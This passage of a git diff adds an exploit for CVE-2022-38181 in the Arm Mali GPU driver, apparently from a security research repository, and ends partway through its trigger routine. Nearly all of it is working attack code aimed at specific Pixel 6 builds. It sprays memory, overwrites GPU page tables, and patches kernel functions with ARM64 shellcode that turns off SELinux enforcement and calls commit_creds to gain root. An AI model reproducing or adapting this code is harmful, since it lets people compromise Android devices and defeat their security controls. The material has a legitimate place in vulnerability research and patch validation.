+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x001,
+	BASE_JD_EVENT_JOB_CANCELLED =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x002,
+	BASE_JD_EVENT_JOB_INVALID =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x003,
+	BASE_JD_EVENT_PM_EVENT =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x004,
+
+	BASE_JD_EVENT_BAG_INVALID =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_BAG | 0x003,
+
+	BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_RESERVED | 0x3FF,
+
+	BASE_JD_EVENT_RANGE_SW_SUCCESS_START = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | 0x000,
+
+	BASE_JD_EVENT_PROGRESS_REPORT = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_JOB | 0x000,
+	BASE_JD_EVENT_BAG_DONE = BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_SUCCESS |
+		BASE_JD_SW_EVENT_BAG | 0x000,
+	BASE_JD_EVENT_DRV_TERMINATED = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_INFO | 0x000,
+
+	BASE_JD_EVENT_RANGE_SW_SUCCESS_END = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_RESERVED | 0x3FF,
+
+	BASE_JD_EVENT_RANGE_KERNEL_ONLY_START = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | 0x000,
+	BASE_JD_EVENT_REMOVED_FROM_NEXT = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x000,
+	BASE_JD_EVENT_END_RP_DONE = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x001,
+
+	BASE_JD_EVENT_RANGE_KERNEL_ONLY_END = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_RESERVED | 0x3FF
+};
+
+/**
+ * struct base_jd_event_v2 - Event reporting structure
+ *
+ * @event_code:  event code.
+ * @atom_number: the atom number that has completed.
+ * @udata:       user data.
+ *
+ * This structure is used by the kernel driver to report information
+ * about GPU events. They can either be HW-specific events or low-level
+ * SW events, such as job-chain completion.
+ *
+ * The event code contains an event type field which can be extracted
+ * by ANDing with BASE_JD_SW_EVENT_TYPE_MASK.
+ */
+struct base_jd_event_v2 {
+	enum base_jd_event_code event_code;
+	base_atom_id atom_number;
+	struct base_jd_udata udata;
+};
+
+/**
+ * struct base_dump_cpu_gpu_counters - Structure for
+ *                                     BASE_JD_REQ_SOFT_DUMP_CPU_GPU_COUNTERS
+ *                                     jobs.
+ * @system_time:   gpu timestamp
+ * @cycle_counter: gpu cycle count
+ * @sec:           cpu time(sec)
+ * @usec:          cpu time(usec)
+ * @padding:       padding
+ *
+ * This structure is stored into the memory pointed to by the @jc field
+ * of &struct base_jd_atom.
+ *
+ * It must not occupy the same CPU cache line(s) as any neighboring data.
+ * This is to avoid cases where access to pages containing the structure
+ * is shared between cached and un-cached memory regions, which would
+ * cause memory corruption.
+ */
+
+struct base_dump_cpu_gpu_counters {
+	__u64 system_time;
+	__u64 cycle_counter;
+	__u64 sec;
+	__u32 usec;
+	__u8 padding[36];
+};
+
+#endif /* _UAPI_BASE_JM_KERNEL_H_ */
+
diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/mali_shrinker_mmap.c b/SecurityExploits/Android/Mali/CVE_2022_38181/mali_shrinker_mmap.c
new file mode 100644
index 0000000..5cf4aef
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_38181/mali_shrinker_mmap.c
@@ -0,0 +1,796 @@
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include "stdbool.h"
+#include <sys/system_properties.h>
+#include <sys/syscall.h>
+
+#include "mali.h"
+#include "mali_base_jm_kernel.h"
+#include "midgard.h"
+
+#ifdef SHELL
+#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
+#else
+#include <android/log.h>
+#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__)
+
+#endif //SHELL
+
+#define MALI "/dev/mali0"
+
+#define PAGE_SHIFT 12
+
+#define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576)
+
+#define PFN_DOWN(x)	((x) >> PAGE_SHIFT)
+
+#define SPRAY_PAGES 25
+
+#define SPRAY_NUM 64
+
+#define FLUSH_SIZE (0x1000 * 0x1000)
+
+#define SPRAY_CPU 0
+
+#define POOL_SIZE 16384
+
+#define RESERVED_SIZE 32
+
+#define TOTAL_RESERVED_SIZE 1024
+
+#define FLUSH_REGION_SIZE 500
+
+#define NUM_TRIALS 100
+
+#define KERNEL_BASE 0x80000000
+
+#define OVERWRITE_INDEX 256
+
+#define ADRP_INIT_INDEX 0
+
+#define ADD_INIT_INDEX 1
+
+#define ADRP_COMMIT_INDEX 2
+
+#define ADD_COMMIT_INDEX 3
+
+#define AVC_DENY_2108 0x92df1c
+
+#define SEL_READ_ENFORCE_2108 0x942ae4
+
+#define INIT_CRED_2108 0x29a0570
+
+#define COMMIT_CREDS_2108 0x180b0c
+
+#define ADD_INIT_2108 0x9115c000
+
+#define ADD_COMMIT_2108 0x912c3108
+
+#define AVC_DENY_2201 0x930af4
+
+#define SEL_READ_ENFORCE_2201 0x9456bc
+
+#define INIT_CRED_2201 0x29b0570
+
+#define COMMIT_CREDS_2201 0x183df0
+
+#define ADD_INIT_2201 0x9115c000
+
+#define ADD_COMMIT_2201 0x9137c108
+
+#define AVC_DENY_2202 0x930b50
+
+#define SEL_READ_ENFORCE_2202 0x94551c
+
+#define INIT_CRED_2202 0x29b0570
+
+#define COMMIT_CREDS_2202 0x183e3c
+
+#define ADD_INIT_2202 0x9115c000    //add	x0, x0, #0x570
+
+#define ADD_COMMIT_2202 0x9138f108  //add	x8, x8, #0xe3c
+
+#define AVC_DENY_2207 0x927664
+
+#define SEL_READ_ENFORCE_2207 0x93bf5c
+
+#define INIT_CRED_2207 0x29e07f0
+
+#define COMMIT_CREDS_2207 0x18629c
+
+#define ADD_INIT_2207 0x911fc000 //add x0, x0, #0x7f0
+
+#define ADD_COMMIT_2207 0x910a7108 //add x8, x8, #0x29c
+
+#define AVC_DENY_2211 0x8d6810
+
+#define SEL_READ_ENFORCE_2211 0x8ea124
+
+#define INIT_CRED_2211 0x2fd1388
+
+#define COMMIT_CREDS_2211 0x17ada4
+
+#define ADD_INIT_2211 0x910e2000 //add x0, x0, #0x388
+
+#define ADD_COMMIT_2211 0x91369108 //add x8, x8, #0xda4
+
+#define AVC_DENY_2212 0x8ba710
+
+#define SEL_READ_ENFORCE_2212 0x8cdfd4
+
+#define INIT_CRED_2212 0x2fd1418
+
+#define COMMIT_CREDS_2212 0x177ee4
+
+#define ADD_INIT_2212 0x91106000 //add x0, x0, #0x418
+
+#define ADD_COMMIT_2212 0x913b9108 //add x8, x8, #0xee4
+
+
+static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2207;
+
+static uint64_t avc_deny = AVC_DENY_2207;
+
+/*
+Overwriting SELinux to permissive
+  strb wzr, [x0]
+  mov x0, #0
+  ret
+*/
+static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0};
+
+static uint32_t root_code[8] = {0};
+
+static uint8_t jit_id = 1;
+static uint8_t atom_number = 1;
+static uint64_t gpu_va[SPRAY_NUM] = {0};
+static int gpu_va_idx = 0;
+static void* flush_regions[FLUSH_REGION_SIZE];
+static void* alias_regions[SPRAY_NUM] = {0};
+static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE];
+
+
+struct base_mem_handle {
+	struct {
+		__u64 handle;
+	} basep;
+};
+
+struct base_mem_aliasing_info {
+	struct base_mem_handle handle;
+	__u64 offset;
+	__u64 length;
+};
+
+static int open_dev(char* name) {
+  int fd = open(name, O_RDWR);
+  if (fd == -1) {
+    err(1, "cannot open %s\n", name);
+  }
+  return fd;
+}
+
+void setup_mali(int fd, int group_id) {
+  struct kbase_ioctl_version_check param = {0};
+  if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &param) < 0) {
+    err(1, "version check failed\n");
+  }
+  struct kbase_ioctl_set_flags set_flags = {group_id << 3};
+  if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) {
+    err(1, "set flags failed\n");
+  }
+}
+
+void* setup_tracking_page(int fd) {
+  void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE);
+  if (region == MAP_FAILED) {
+    err(1, "setup tracking page failed");
+  }
+  return region;
+}
+
+void jit_init(int fd, uint64_t va_pages, uint64_t trim_level, int group_id) {
+  struct kbase_ioctl_mem_jit_init init = {0};
+  init.va_pages = va_pages;
+  init.max_allocations = 255;
+  init.trim_level = trim_level;
+  init.group_id = group_id;
+  init.phys_pages = va_pages;
+
+  if (ioctl(fd, KBASE_IOCTL_MEM_JIT_INIT, &init) < 0) {
+    err(1, "jit init failed\n");
+  }
+}
+
+uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, uint64_t va_pages, uint64_t gpu_alloc_addr) {
+  struct base_jit_alloc_info info = {0};
+  struct base_jd_atom_v2 atom = {0};
+  
+  info.id = id;
+  info.gpu_alloc_addr = gpu_alloc_addr;
+  info.va_pages = va_pages;
+  info.commit_pages = va_pages;
+  info.extension = 0x1000;
+
+  atom.jc = (uint64_t)(&info);
+  atom.atom_number = atom_number;
+  atom.core_req = BASE_JD_REQ_SOFT_JIT_ALLOC;
+  atom.nr_extres = 1;
+  struct kbase_ioctl_job_submit submit = {0};
+  submit.addr = (uint64_t)(&atom);
+  submit.nr_atoms = 1;
+  submit.stride = sizeof(struct base_jd_atom_v2);
+  if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+    err(1, "submit job failed\n");
+  }
+  return *((uint64_t*)gpu_alloc_addr); 
+}
+
+void jit_free(int fd, uint8_t atom_number, uint8_t id) {
+  uint8_t free_id = id;
+
+  struct base_jd_atom_v2 atom = {0};
+
+  atom.jc = (uint64_t)(&free_id);
+  atom.atom_number = atom_number;
+  atom.core_req = BASE_JD_REQ_SOFT_JIT_FREE;
+  atom.nr_extres = 1;
+  struct kbase_ioctl_job_submit submit = {0};
+  submit.addr = (uint64_t)(&atom);
+  submit.nr_atoms = 1;
+  submit.stride = sizeof(struct base_jd_atom_v2);
+  if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+    err(1, "submit job failed\n");
+  }
+    
+}
+
+void mem_flags_change(int fd, uint64_t gpu_addr, uint32_t flags, int ignore_results) {
+  struct kbase_ioctl_mem_flags_change change = {0};
+  change.flags = flags;
+  change.gpu_va = gpu_addr;
+  change.mask = flags;
+  if (ignore_results) {
+    ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change);
+    return;
+  }
+  if (ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change) < 0) {
+    err(1, "flags_change failed\n");
+  }
+}
+
+void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) {
+  if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) {
+    err(1, "mem_alloc failed\n");
+  }
+}
+
+void mem_alias(int fd, union kbase_ioctl_mem_alias* alias) {
+  if (ioctl(fd, KBASE_IOCTL_MEM_ALIAS, alias) < 0) {
+    err(1, "mem_alias failed\n");
+  }
+}
+
+void mem_query(int fd, union kbase_ioctl_mem_query* query) {
+  if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) {
+    err(1, "mem_query failed\n");
+  }
+}
+
+void mem_commit(int fd, uint64_t gpu_addr, uint64_t pages) {
+  struct kbase_ioctl_mem_commit commit = {.gpu_addr = gpu_addr, pages = pages};
+  if (ioctl(fd, KBASE_IOCTL_MEM_COMMIT, &commit) < 0) {
+    err(1, "mem_commit failed\n");
+  }
+}
+
+void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) {
+  union kbase_ioctl_mem_alloc alloc = {0};
+  alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22);
+  int prot = PROT_READ;
+  if (!read_only) {
+    alloc.in.flags |= BASE_MEM_PROT_GPU_WR;
+    prot |= PROT_WRITE;
+  }
+  alloc.in.va_pages = va_pages;
+  alloc.in.commit_pages = commit_pages;
+  mem_alloc(mali_fd, &alloc);
+  void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va);
+  if (region == MAP_FAILED) {
+    err(1, "mmap failed");
+  }
+  return region;
+}
+
+uint64_t alloc_mem(int mali_fd, unsigned int pages) {
+  union kbase_ioctl_mem_alloc alloc = {0};
+  alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR;
+  int prot = PROT_READ | PROT_WRITE;
+  alloc.in.va_pages = pages;
+  alloc.in.commit_pages = pages;
+  mem_alloc(mali_fd, &alloc);
+  return alloc.out.gpu_va;
+}
+
+void free_mem(int mali_fd, uint64_t gpuaddr) {
+  struct kbase_ioctl_mem_free mem_free = {.gpu_addr = gpuaddr};
+  if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) {
+    err(1, "free_mem failed\n");
+  }
+}
+
+uint64_t drain_mem_pool(int mali_fd) {
+  union kbase_ioctl_mem_alloc alloc = {0};
+  alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22);
+  int prot = PROT_READ | PROT_WRITE;
+  alloc.in.va_pages = POOL_SIZE;
+  alloc.in.commit_pages = POOL_SIZE;
+  mem_alloc(mali_fd, &alloc);
+  return alloc.out.gpu_va;
+}
+
+void release_mem_pool(int mali_fd, uint64_t drain) {
+  struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain};
+  if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) {
+    err(1, "free_mem failed\n");
+  }
+}
+
+#define CPU_SETSIZE 1024
+#define __NCPUBITS  (8 * sizeof (unsigned long))
+typedef struct
+{
+   unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
+} cpu_set_t;
+
+#define CPU_SET(cpu, cpusetp) \
+  ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
+#define CPU_ZERO(cpusetp) \
+  memset((cpusetp), 0, sizeof(cpu_set_t))
+
+int migrate_to_cpu(int i)
+{
+    int syscallres;
+    pid_t pid = gettid();
+    cpu_set_t cpu;
+    CPU_ZERO(&cpu);
+    CPU_SET(i, &cpu);
+
+    syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
+    if (syscallres)
+    {
+        return -1;
+    }
+    return 0;
+}
+
+void* flush(int spray_cpu, int idx) {
+  migrate_to_cpu(spray_cpu);
+  void* region = mmap(NULL, FLUSH_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+  if (region == MAP_FAILED) err(1, "flush failed");
+  memset(region, idx, FLUSH_SIZE);
+  return region;
+}
+
+void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
+  for (int i = 0; i < nents; i++) {
+    union kbase_ioctl_mem_alloc alloc = {0};
+    alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22);
+    int prot = PROT_READ | PROT_WRITE;
+    alloc.in.va_pages = pages;
+    alloc.in.commit_pages = pages;
+    mem_alloc(mali_fd, &alloc);
+    reserved_va[i] = alloc.out.gpu_va;
+  }
+}
+
+void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
+  for (int i = 0; i < nents; i++) {
+    void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]);
+    if (reserved == MAP_FAILED) {
+      err(1, "mmap reserved failed");
+    }
+    reserved_va[i] = (uint64_t)reserved;
+  }
+}
+
+uint64_t alias_sprayed_regions(int mali_fd) {
+  union kbase_ioctl_mem_alias alias = {0};
+  alias.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR;
+  alias.in.stride = SPRAY_PAGES;
+
+  alias.in.nents = SPRAY_NUM;
+  struct base_mem_aliasing_info ai[SPRAY_NUM];
+  for (int i = 0; i < SPRAY_NUM; i++) {
+    ai[i].handle.basep.handle = gpu_va[i];
+    ai[i].length = SPRAY_PAGES;
+    ai[i].offset = 0;
+  }
+  alias.in.aliasing_info = (uint64_t)(&(ai[0]));
+  mem_alias(mali_fd, &alias);
+  uint64_t region_size = 0x1000 * SPRAY_NUM * SPRAY_PAGES;
+  void* region = mmap(NULL, region_size, PROT_READ, MAP_SHARED, mali_fd, alias.out.gpu_va);
+  if (region == MAP_FAILED) {
+    err(1, "mmap alias failed");
+  }
+  alias_regions[0] = region;
+  for (int i = 1; i < SPRAY_NUM; i++) {
+    void* this_region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ, MAP_SHARED, mali_fd,  (uint64_t)region + i * 0x1000 * SPRAY_PAGES);
+    if (this_region == MAP_FAILED) {
+      err(1, "mmap alias failed %d\n", i);
+    }
+    alias_regions[i] = this_region;
+  }
+  return (uint64_t)region;
+}
+
+void fault_pages() {
+  int read = 0;
+  for (int va = 0; va < SPRAY_NUM; va++) {
+    uint8_t* this_va = (uint8_t*)(gpu_va[va]);
+    *this_va = 0;
+    uint8_t* this_alias = alias_regions[va];
+    read += *this_alias;
+  }
+  LOG("read %d\n", read);
+}
+
+int find_freed_idx(int mali_fd) {
+  int freed_idx = -1;
+  for (int j = 0; j < SPRAY_NUM; j++) {
+    union kbase_ioctl_mem_query query = {0};
+    query.in.gpu_addr = gpu_va[j];
+    query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE;
+    ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query);
+    if (query.out.value != SPRAY_PAGES) {
+      LOG("jit_free commit: %d %llu\n", j, query.out.value);
+      freed_idx = j;
+    }
+  }
+  return freed_idx;
+}
+
+int find_pgd(int freed_idx, int start_pg) {
+  uint64_t* this_alias = alias_regions[freed_idx];
+  for (int pg = start_pg; pg < SPRAY_PAGES; pg++) {
+    for (int i = 0; i < 0x1000/8; i++) {
+        uint64_t entry = this_alias[pg * 0x1000/8 + i];
+        if ((entry & 0x443) == 0x443) {
+          return pg;
+        }
+    }
+  }
+  return -1;
+}
+
+uint32_t lo32(uint64_t x) {
+  return x & 0xffffffff;
+}
+
+uint32_t hi32(uint64_t x) {
+  return x >> 32;
+}
+
+uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) {
+  uint64_t pc_page = pc >> 12;
+  uint64_t label_page = label >> 12;
+  int64_t offset = (label_page - pc_page) << 12;
+  int64_t immhi_mask = 0xffffe0;
+  int64_t immhi = offset >> 14;
+  int32_t immlo = (offset >> 12) & 0x3;
+  uint32_t adpr = rd & 0x1f;
+  adpr |= (1 << 28);
+  adpr |= (1 << 31); //op
+  adpr |= immlo << 29;
+  adpr |= (immhi_mask & (immhi << 5));
+  return adpr;
+}
+
+void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) {
+
+  uint32_t init_adpr = write_adrp(0, read_enforce, init_cred);
+  //Sets x0 to init_cred
+  root_code[ADRP_INIT_INDEX] = init_adpr;
+  root_code[ADD_INIT_INDEX] = add_init;
+  //Sets x8 to commit_creds
+  root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred);
+  root_code[ADD_COMMIT_INDEX] = add_commit;
+  root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10]
+  root_code[5] = 0xd63f0100; // blr x8
+  root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10
+  root_code[7] = 0xd65f03c0; // ret
+}
+
+uint64_t set_addr_lv3(uint64_t addr) {
+  uint64_t pfn = addr >> PAGE_SHIFT;
+  pfn &= ~ 0x1FFUL;
+  pfn |= 0x100UL;
+  return pfn << PAGE_SHIFT;
+}
+
+static inline uint64_t compute_pt_index(uint64_t addr, int level) {
+  uint64_t vpfn = addr >> PAGE_SHIFT;
+  vpfn >>= (3 - level) * 9;
+  return vpfn & 0x1FF;
+}
+
+void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) {
+  void* jc_region = map_gpu(mali_fd, 1, 1, false, 0);
+  struct MALI_JOB_HEADER jh = {0};
+  jh.is_64b = true;
+  jh.type = MALI_JOB_TYPE_WRITE_VALUE;
+  
+  struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0};
+  payload.type = type;
+  payload.immediate_value = value;
+  payload.address = gpu_addr;
+
+  MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh);
+  MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload);
+  uint32_t* section = (uint32_t*)jc_region;
+  struct base_jd_atom_v2 atom = {0};
+  atom.jc = (uint64_t)jc_region;
+  atom.atom_number = atom_number;
+  atom.core_req = BASE_JD_REQ_CS;
+  struct kbase_ioctl_job_submit submit = {0};
+  submit.addr = (uint64_t)(&atom);
+  submit.nr_atoms = 1;
+  submit.stride = sizeof(struct base_jd_atom_v2);
+  if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+    err(1, "submit job failed\n");
+  }
+  usleep(10000);
+}
+
+void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) {
+  uint64_t func_offset = (func + KERNEL_BASE) % 0x1000;
+  uint64_t curr_overwrite_addr = 0;
+  for (int i = 0; i < size; i++) {
+    uint64_t base = reserved[i];
+    uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000;
+    uint64_t start_idx = compute_pt_index(base, 3);
+    uint64_t end_idx = compute_pt_index(end, 3);
+    for (uint64_t addr = base; addr < end; addr += 0x1000) {
+      uint64_t overwrite_addr = set_addr_lv3(addr);
+      if (curr_overwrite_addr != overwrite_addr) {
+        LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset);
+        curr_overwrite_addr = overwrite_addr;
+        for (int code = code_size - 1; code >= 0; code--) {
+          write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32);
+        }
+        usleep(300000);
+      }
+    }
+  }
+}
+
+int run_enforce() {
+  char result = '2';
+  sleep(3);
+  int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+  read(enforce_fd, &result, 1);
+  close(enforce_fd);
+  LOG("result %d\n", result);
+  return result;
+}
+
+void select_offset() {
+  char fingerprint[256];
+  int len = __system_property_get("ro.build.fingerprint", fingerprint);
+  LOG("fingerprint: %s\n", fingerprint);
+  if (!strcmp(fingerprint, "google/oriole/oriole:12/SD1A.210817.037/7862242:user/release-keys")) {
+    avc_deny = AVC_DENY_2108;
+    sel_read_enforce = SEL_READ_ENFORCE_2108;
+    fixup_root_shell(INIT_CRED_2108, COMMIT_CREDS_2108, SEL_READ_ENFORCE_2108, ADD_INIT_2108, ADD_COMMIT_2108);
+    return;
+  }
+  if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220105.007/8030436:user/release-keys")) {
+    avc_deny = AVC_DENY_2201;
+    sel_read_enforce = SEL_READ_ENFORCE_2201;
+    fixup_root_shell(INIT_CRED_2201, COMMIT_CREDS_2201, SEL_READ_ENFORCE_2201, ADD_INIT_2201, ADD_COMMIT_2201);
+    return;
+  }
+  if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys")) {
+    avc_deny = AVC_DENY_2202;
+    sel_read_enforce = SEL_READ_ENFORCE_2202;
+    fixup_root_shell(INIT_CRED_2202, COMMIT_CREDS_2202, SEL_READ_ENFORCE_2202, ADD_INIT_2202, ADD_COMMIT_2202);
+    return;
+  }
+  if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ3A.220705.003/8671607:user/release-keys")) {
+    avc_deny = AVC_DENY_2207;
+    sel_read_enforce = SEL_READ_ENFORCE_2207;
+    fixup_root_shell(INIT_CRED_2207, COMMIT_CREDS_2207, SEL_READ_ENFORCE_2207, ADD_INIT_2207, ADD_COMMIT_2207);
+    return;
+  }
+  if (!strcmp(fingerprint, "google/oriole/oriole:13/TP1A.221105.002/9080065:user/release-keys")) {
+    avc_deny = AVC_DENY_2211;
+    sel_read_enforce = SEL_READ_ENFORCE_2211;
+    fixup_root_shell(INIT_CRED_2211, COMMIT_CREDS_2211, SEL_READ_ENFORCE_2211, ADD_INIT_2211, ADD_COMMIT_2211);
+    return;
+  }
+  if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys")) {
+    avc_deny = AVC_DENY_2212;
+    sel_read_enforce = SEL_READ_ENFORCE_2212;
+    fixup_root_shell(INIT_CRED_2212, COMMIT_CREDS_2212, SEL_READ_ENFORCE_2212, ADD_INIT_2212, ADD_COMMIT_2212);
+    return;
+  }
+
+  err(1, "unable to match build id\n");
+}
+
+void cleanup(int mali_fd, uint64_t pgd) {
+  write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+}
+
+void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) {
+  uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
+  write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+
+  usleep(100000);
+  //Go through the reserve pages addresses to write to avc_denied with our own shellcode
+  write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t));
+
+  //Triggers avc_denied to disable SELinux
+  open("/dev/kmsg", O_RDONLY);
+
+  uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
+  write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+
+  //Call commit_creds to overwrite process credentials to gain root
+  write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t));
+}
+
+void spray(int mali_fd) {
+    uint64_t cookies[32] = {0};
+    for (int j = 0; j < 32; j++) {
+        union kbase_ioctl_mem_alloc alloc = {0};
+        alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (1 << 22);
+        alloc.in.va_pages = SPRAY_PAGES;
+        alloc.in.commit_pages = 0;
+        mem_alloc(mali_fd, &alloc);
+        cookies[j] = alloc.out.gpu_va;
+    }
+    for (int j = 0; j < 32; j++) {
+        void* region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookies[j]);
+        if (region == MAP_FAILED) {
+            err(1, "mmap failed");
+        }
+        gpu_va[j] = (uint64_t)region;
+    }
+    for (int j = 32; j < 64; j++) {
+        union kbase_ioctl_mem_alloc alloc = {0};
+        alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (1 << 22);
+        alloc.in.va_pages = SPRAY_PAGES;
+        alloc.in.commit_pages = 0;
+        mem_alloc(mali_fd, &alloc);
+        cookies[j - 32] = alloc.out.gpu_va;
+    }
+    for (int j = 32; j < 64; j++) {
+        void* region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookies[j - 32]);
+        if (region == MAP_FAILED) {
+            err(1, "mmap failed");
+        }
+        gpu_va[j] = (uint64_t)region;
+    }
+}
+
+int trigger(int mali_fd, int mali_fd2, int* flush_idx) {
+  if (*flush_idx + NUM_TRIALS > FLUSH_REGION_SIZE) {
+    err(1, "Out of memory.");
+  }
+  void* gpu_alloc_addr = map_gpu(mali_fd, 1, 1, false, 0);
+  
+  uint64_t jit_pages = SPRAY_PAGES;
+  uint64_t jit_addr = jit_allocate(mali_fd, atom_number, jit_id, jit_pages, (uint64_t)gpu_alloc_addr); 
